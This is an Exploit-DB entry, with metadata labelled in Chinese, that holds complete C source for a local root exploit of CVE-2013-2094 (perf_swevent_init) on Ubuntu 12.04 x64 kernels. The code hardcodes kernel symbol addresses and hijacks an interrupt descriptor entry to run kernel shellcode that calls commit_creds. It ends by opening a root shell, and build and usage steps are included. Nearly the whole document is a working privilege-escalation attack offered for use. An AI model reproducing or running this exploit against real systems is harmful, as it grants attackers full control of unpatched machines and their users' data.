标题: Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3) EDB-ID: 33589 CVE: 2013-2094 类型: LOCAL 平台: LINUX_X86-64 发布日期: 2014-05-31 漏洞利用脚本: /**
 * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
 * by Vitaly Nikolenko (vnik5287@gmail.com)
 * 
 * based on semtex.c by sd
 *
 * Supported targets:
 * [0] Ubuntu 12.04.0 - 3.2.0-23-generic
 * [1] Ubuntu 12.04.1 - 3.2.0-29-generic
 * [2] Ubuntu 12.04.2 - 3.5.0-23-generic
 *
 * $ gcc vnik.c -O2 -o vnik
 *
 * $ uname -r
 * 3.2.0-23-generic
 *
 * $ ./vnik 0
 */
 
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
 
#define BASE  0x1780000000
#define SIZE  0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
 
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);

uint64_t targets[3][3] =
            {{0xffffffff81ef67e0,  // perf_swevent_enabled
              0xffffffff81091630,  // commit_creds
              0xffffffff810918e0}, // prepare_kernel_cred
             {0xffffffff81ef67a0,
              0xffffffff81091220,
              0xffffffff810914d0},
             {0xffffffff81ef5940,
              0xffffffff8107ee30,
              0xffffffff8107f0c0}
     };

void __attribute__((regparm(3))) payload() {
 uint32_t *fixptr = (void*)AB(1);
 // restore the handler
 *fixptr = -1;
 commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
 prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
 commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
 
void trigger(uint32_t off) {
 uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
 int fd = syscall(298, buf, 0, -1, -1, 0);
 assert( !close(fd) );
}
 
int main(int argc, char **argv) {
 uint64_t off64, needle, kbase, *p;
 uint8_t *code;
 uint32_t int_n, j = 5, target = 1337;
 int offset = 0;
 void *map;

 assert(argc == 2 && "target?");
 assert( (target = atoi(argv[1])) < 3 );

 struct {
  uint16_t limit;
  uint64_t addr;
 } __attribute__((packed)) idt;

 // mmap user-space block so we don't page fault
 // on sw_perf_event_destroy
 assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
 memset(map, 0, SIZE);

 asm volatile("sidt %0" : "=m" (idt));
 kbase = idt.addr & 0xff000000;
 printf("IDT addr = 0x%lx\n", idt.addr);

 assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
 memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
 memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);

 // can only play with interrupts 3, 4 and 0x80
 for (int_n = 3; int_n <= 0x80; int_n++) {
  for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
   int off32 = off64;
 
   if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
    offset = off32;
    goto out;
   }
  }
  if (int_n == 4) {
   // shit, let's try 0x80 if the kernel is compiled with
   // CONFIG_IA32_EMULATION
   int_n = 0x80 - 1;
  }
 }
out:
 assert(offset);
 printf("Using int = %d with offset = %d\n", int_n, offset);

 for (j = 0; j < 3; j++) {
  needle = AB(j+1);
  assert(p = memmem(code, 1024, &needle, 8));
  *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
 }
 trigger(offset);
 switch (int_n) {
 case 3:
  asm volatile("int $0x03");
  break;
 case 4:
  asm volatile("int $0x04");
  break;
 case 0x80:
  asm volatile("int $0x80");
 }

 assert(!setuid(0));
 return execl("/bin/bash", "-sh", NULL);
} URL: https://www.exploit-db.com/exploits/33589